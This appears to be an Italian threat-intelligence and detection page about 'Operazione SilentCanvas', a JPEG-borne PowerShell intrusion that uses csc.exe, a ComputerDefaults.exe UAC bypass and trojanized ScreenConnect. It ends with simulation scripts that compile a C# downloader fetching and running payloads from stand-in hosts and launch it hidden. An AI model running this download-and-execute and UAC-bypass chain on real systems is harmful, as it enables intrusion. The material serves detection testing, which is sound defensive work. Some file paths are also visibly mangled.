OPERAZIONE SILENTCANVAS: INTRUSIONE POWERSHELL MULTISTADIO BASATA SU JPEG
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
Operazione SilentCanvas è un’intrusione sofisticata a più stadi che nasconde un payload malevolo in PowerShell all’interno di un file JPEG chiamato sysupdate.jpeg. Quel payload recupera e compila un launcher personalizzato, costruito tramite csc.exe, abusa di ComputerDefaults.exe per eseguire un bypass fileless UAC e installa un servizio ConnectWise ScreenConnect trojanizzato chiamato OneDriveServers per mantenere un accesso remoto persistente. Il malware comunica tramite canali criptati indirizzati a legitserver.theworkpc.com su porte 5443 and 8041. La campagna mostra anche una forte enfasi sull’evasione difensiva, il furto di credenziali e la sorveglianza nascosta.
Indagine
Il rapporto copre sia l’analisi statica che quella dinamica del loader basato su JPEG, il uds.exe binario compilato dinamicamente e i componenti modificati del ScreenConnect. I ricercatori hanno identificato diverse tecniche offensive, tra cui bypass AMSI, abuso di binari living-off-the-land, dirottamento dei registri e derivazione di chiavi personalizzate per la comunicazione criptata. L’analisi dell’infrastruttura ha rivelato una mappatura hard-coded tra legitserver.theworkpc.com e l’indirizzo IP 45.138.16.64. L’indagine ha anche esposto un profilo dettagliato delle vittime, la manipolazione degli account locali e la funzionalità legata all’accesso al desktop nascosto.
Mitigazione
I difensori dovrebbero applicare una rigida allow-listing per gli strumenti legittimi di monitoraggio e gestione remoti e limitare o monitorare da vicino l’esecuzione di csc.exe, cvtres.exe, e ComputerDefaults.exe. Il monitoraggio dovrebbe focalizzarsi anche su cambiamenti sospetti nei registri ms-settings, comportamenti di bypass AMSI in PowerShell, flag di creazione di processi nascosti e creazione non autorizzata di servizi che coinvolgono il nome registry changes, PowerShell AMSI bypass behavior, hidden process creation flags, and unauthorized service creation involving the name OneDriveServers. Qualsiasi account che potrebbe essere stato esposto dovrebbe essere resettato e i sistemi interessati dovrebbero essere immediatamente isolati per prevenire ulteriori abusi.
Risposta
Se vengono rilevati indicatori correlati, l’endpoint dovrebbe essere messo in quarantena immediatamente, il processo malevolo uds.exe e l’attività PowerShell associata dovrebbero essere terminati e il OneDriveServers servizio dovrebbe essere rimosso dall’host. Gli investigatori dovrebbero raccogliere artefatti di registro, binari di servizio e telemetria di rete legati all’infrastruttura di comando-e-controllo per una revisione forense più approfondita. Tutte le credenziali privilegiate dovrebbero essere ruotate e i difensori dovrebbero monitorare i modelli di spostamento laterale associati alle tecniche documentate nella campagna.
"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff %% Nodes u2013 Actions action_initial_access["<b>Azione</b> – <b>T1566 Allegato di Phishing</b>: L’email consegna un file malevolo <i>sysupdate.jpeg</i> mascherato da immagine."] class action_initial_access action action_user_execution["<b>Azione</b> – <b>T1204.002 Esecuzione Utente</b> e <b>T1059.001 PowerShell</b>: La vittima fa doppio clic sul .jpeg che lancia PowerShell incorporato."] class action_user_execution action action_execution["<b>Azione</b> – <b>T1562.001 Disabilita Strumenti di Sicurezza</b> (bypass AMSI) e <b>T1027 Offuscamento</b>: Lo script PowerShell evade la rilevazione e nasconde la logica malevola."] class action_execution action action_dev_utility_abuse["<b>Azione</b> – <b>T1127 Compila Dopo la Consegna</b> e <b>T1027.004 File Offuscati/Archiviati</b>: Lo script incorpora C# e compila con <i>csc.exe</i> per creare un launcher personalizzato."] class action_dev_utility_abuse action action_priv_esc["<b>Azione</b> – <b>T1548.002 Dirottamento del Flusso di Esecuzione</b> tramite protocollo <i>ms-settings</i> e <b>T1218.002 File HTML Compilato</b> utilizzando <i>ComputerDefaults.exe</i> per un bypass fileless UAC."] class action_priv_esc action action_persistence["<b>Azione</b> – <b>T1543.003 Servizio Windows</b> chiamato <i>OneDriveServers</i> e <b>T1136.001 Account Locale</b> creazione di account amministrativi nascosti per accesso a lungo termine."] class action_persistence action action_tool_hijack["<b>Azione</b> – <b>T1553.002 Esecuzione di Proxy Firmato Binario</b>: Distribuisce un binario ConnectWise ScreenConnect trojanizzato abusando di componenti legittimamente firmati."] class action_tool_hijack action action_credential_access["<b>Azione</b> – <b>T1556.001 Intercettazione API delle Credenziali</b> e <b>T1056.001 Acquisizione di Input</b>: Installa un hook del Fornitore di Credenziali e keylogger per raccogliere le credenziali utente."] class action_credential_access action action_collection["<b>Azione</b> – <b>T1113 Acquisizione Schermo</b>, <b>T1125 Acquisizione Video</b>, <b>T1123 Acquisizione Audio</b>, <b>T1115 Dati Appunti</b>: Raccoglie informazioni visive, audio e degli appunti."] class action_collection action action_discovery["<b>Azione</b> – <b>T1518 Scoperta Software</b>, <b>T1010 Scoperta Finestra Applicazione</b>, <b>T1082 Scoperta Informazioni di Sistema</b>: Enumera software installato, prodotti AV, informazioni di sistema e finestre attive."] class action_discovery action action_c2["<b>Azione</b> – <b>T1573 Canale Criptato</b>: Configura C2 criptato utilizzando chiavi PBKDF2/HMACu2011SHA256 e trasferisce ulteriori strumenti tramite <b>T1105 Trasferimento Strumento di Ingresso</b>."] class action_c2 action action_remote_execution["<b>Azione</b> – <b>T1021 Servizi Remoti</b>: Esegue comandi sulla vittima tramite il framework ScreenConnect."] class action_remote_execution action action_impact["<b>Azione</b> – <b>T1529 Spegnimento/Riavvio di Sistema</b>: Può innescare un riavvio di sistema o un riavvio in modalità sicura per interrompere l’ambiente."] class action_impact action %% Nodes u2013 Tools / Processes tool_sysupdate_jpeg["<b>Strumento</b> – <b>Nome</b>: sysupdate.jpeg<br/><b>Tipo</b>: Allegato malevolo mascherato da immagine"] class tool_sysupdate_jpeg tool tool_powershell["<b>Strumento</b> – <b>Nome</b>: PowerShell<br/><b>Tipo</b>: Motore di scripting utilizzato per esecuzione e offuscamento"] class tool_powershell tool tool_csc["<b>Strumento</b> – <b>Nome</b>: csc.exe<br/><b>Tipo</b>: Compilatore C# utilizzato in-loco"] class tool_csc tool process_computerdefaults["<b>Processo</b> – <b>Nome</b>: ComputerDefaults.exe<br/><b>Descrizione</b>: Usato come proxy per un bypass fileless UAC"] class process_computerdefaults process tool_screenconnect["<b>Strumento</b> – <b>Nome</b>: ConnectWise ScreenConnect<br/><b>Tipo</b>: Software di accesso remoto dirottato con payload malevolo"] class tool_screenconnect tool malware_keylogger["<b>Malware</b> – <b>Nome</b>: Keylogger Personalizzato<br/><b>Scopo</b>: Intercettare tasti e credenziali"] class malware_keylogger malware %% Connections u2013 Attack Flow action_initial_access –>|consegna| tool_sysupdate_jpeg tool_sysupdate_jpeg –>|innesca| action_user_execution action_user_execution –>|esegue| tool_powershell tool_powershell –>|esegue| action_execution action_execution –>|utilizza| tool_csc tool_csc –>|crea| action_dev_utility_abuse action_dev_utility_abuse –>|produces launcher for| action_priv_esc action_priv_esc –>|invokes| process_computerdefaults process_computerdefaults –>|abilita| action_persistence action_persistence –>|crea| action_tool_hijack action_tool_hijack –>|installa| tool_screenconnect tool_screenconnect –>|facilita| action_credential_access action_credential_access –>|installa| malware_keylogger malware_keylogger –>|abilita| action_collection action_collection –>|trasmette dati a| action_c2 action_c2 –>|supporta| action_remote_execution action_remote_execution –>|utilizza| tool_screenconnect action_remote_execution –>|conduce a| action_impact action_discovery –>|fornisce info per| action_c2 %% Styling class tool_sysupdate_jpeg tool class tool_powershell tool class tool_csc tool class tool_screenconnect tool class process_computerdefaults process class malware_keylogger malware "
Flusso di Attacco
Rilevamenti
Possibile Bypass UAC tramite Interfaccia COM CMSTPLUA [tecnica SafaPay] (tramite cmdline)
Visualizza
Possibile Enumerazione Software Antivirus o Firewall (tramite creazione processo)
Visualizza
Software Alternativo per Accesso/gestione Remota (tramite creazione processo)
Visualizza
Un Archivio È Stato Estratto In Una Directory Sospetta Usando Powershell (tramite powershell)
Visualizza
IOCs (HashSha256) per rilevare: OPERAZIONE SILENTCANVAS : INTRUSIONE POWERSHELL MULTISTAGE BASATA SU JPEG
Visualizza
IOCs (SourceIP) per rilevare: OPERAZIONE SILENTCANVAS : INTRUSIONE POWERSHELL MULTISTAGE BASATA SU JPEG
Visualizza
IOCs (DestinationIP) per rilevare: OPERAZIONE SILENTCANVAS : INTRUSIONE POWERSHELL MULTISTAGE BASATA SU JPEG
Visualizza
Comunicazioni Criptate con Infrastruttura Attaccante tramite Porte Non Standard [Connessione di Rete di Windows]
Visualizza
Rilevamento Intrusione tramite Abuso di csc.exe e ComputerDefaults.exe [Creazione di Processo Windows]
Visualizza
Esecuzione PowerShell con Bypass AMSI [Windows Powershell]
Visualizza
Esecuzione di Simulazione
Prerequisito: Il Controllo Pre-volo della Telemetria e del Baseline deve essere superato.
Motivazione: Questa sezione descrive l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta attesa dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.
-
Narrativa dell’Attacco e Comandi:
- Piede d’appoggio iniziale: L’attaccante ottiene una sessione PowerShell a bassa privilegi sull’endpoint.
- Compilazione in tempo reale: Utilizzando il
csc.exegià disponibile, l’attaccante compila un downloader C# che scarica un payload di seconda fase da un server C2. La compilazione è avviata dal processo PowerShell per soddisfare la condizione parent-child. - Bypass UAC senza file: L’attaccante esegue l’eseguibile appena costruito tramite
ComputerDefaults.exe, che richiede silenziosamente l’elevazione senza mostrare un prompt UAC. - Esecuzione post-elevazione: Il payload elevato stabilisce una shell inversa per l’avversario.
# Step 1 – Prepara il sorgente C# malevolo (in memoria) $csSource = @" using System; using System.Net; using System.Diagnostics; public class Downloader { public static void Main() { using (WebClient wc = new WebClient()) { string payloadUrl = "http://malicious.example.com/payload.exe"; string tempPath = System.IO.Path.Combine($env:TEMP, "payload.exe"); wc.DownloadFile(payloadUrl, tempPath); Process.Start(tempPath); } } } "@ $srcPath = "$env:TEMPDownloader.cs" $exePath = "$env:TEMPDownloader.exe" $csSource | Out-File -FilePath $srcPath -Encoding ASCII # Step 2 – Compilazione tramite csc.exe (parent = PowerShell) & "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" /nologo /t:exe /out:$exePath $srcPath # Step 3 – Attiva il bypass UAC usando ComputerDefaults.exe (ancora figlio di PowerShell) $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe" Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden -
Script di Test di Regressione: (script PowerShell autoconclusivo che riproduce i passaggi sopra)
# ----------------------------------------------------------------- # File: trigger_csc_uac_bypass.ps1 # Purpose: Simula la catena di attacco csc.exe + ComputerDefaults.exe # ----------------------------------------------------------------- # Crea sorgente C# malevolo nella directory TEMP $src = @" using System; using System.Net; using System.Diagnostics; public class Payload { public static void Main() { using (WebClient wc = new WebClient()) { string url = "http://example.com/evil.exe"; string path = System.IO.Path.Combine($env:TEMP, "evil.exe"); wc.DownloadFile(url, path); Process.Start(path); } } } "@ $srcPath = Join-Path $env:TEMP "Payload.cs" $exePath = Join-Path $env:TEMP "Payload.exe" $src | Out-File -FilePath $srcPath -Encoding ASCII # Compila con csc.exe (questo processo PowerShell diventa il parent) $csc = "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" & $csc /nologo /t:exe /out:$exePath $srcPath # Esegui tramite ComputerDefaults.exe per eseguire un UAC bypass silenzioso $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe" Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden -
Comandi di Pulizia:
# Rimuovi artefatti generati Remove-Item -Path "$env:TEMPPayload.cs" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPPayload.exe" -Force -ErrorAction SilentlyContinue # Opzionalmente termina tutti i processi persistenti avviati dal test Get-Process -Name "evil" -ErrorAction SilentlyContinue | Stop-Process -Force